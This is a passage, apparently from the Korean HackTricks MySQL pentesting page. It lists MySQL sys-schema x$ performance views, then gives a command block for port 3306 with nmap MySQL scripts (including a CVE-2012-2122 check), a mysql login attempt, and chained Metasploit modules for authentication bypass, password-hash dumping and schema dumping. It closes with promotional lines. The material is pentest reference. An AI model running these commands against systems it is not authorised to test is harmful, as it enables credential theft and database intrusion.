x$statements_with_errors_or_warnings

  • 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.

x$statements_with_full_table_scans

  • 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.

x$statements_with_runtimes_in_95th_percentile

  • 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.

x$statements_with_sorting

  • 정렬을 수행하는 SQL 문장의 목록을 제공합니다.

x$statements_with_temp_tables

  • 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.

x$user_summary

  • 사용자 요약 정보를 제공합니다.

x$user_summary_by_file_io

  • 파일 I/O에 따른 사용자 요약 정보를 제공합니다.

x$user_summary_by_file_io_type

  • 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.

x$user_summary_by_stages

  • 단계별 사용자 요약 정보를 제공합니다.

x$user_summary_by_statement_latency

  • 문장 지연에 따른 사용자 요약 정보를 제공합니다.

x$user_summary_by_statement_type

  • 문장 유형에 따른 사용자 요약 정보를 제공합니다.

x$wait_classes_global_by_avg_latency

  • 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.

x$wait_classes_global_by_latency

  • 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.

x$waits_by_host_by_latency

  • 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.

x$waits_by_user_by_latency

  • 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.

x$waits_global_by_latency

  • 대기 시간에 따른 전역 대기 정보를 제공합니다.
Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCON스페인에서 가장 관련성 있는 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

{% embed url="https://www.rootedcon.com/" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 전문가 수준까지 배워보세요**!

HackTricks를 지원하는 다른 방법: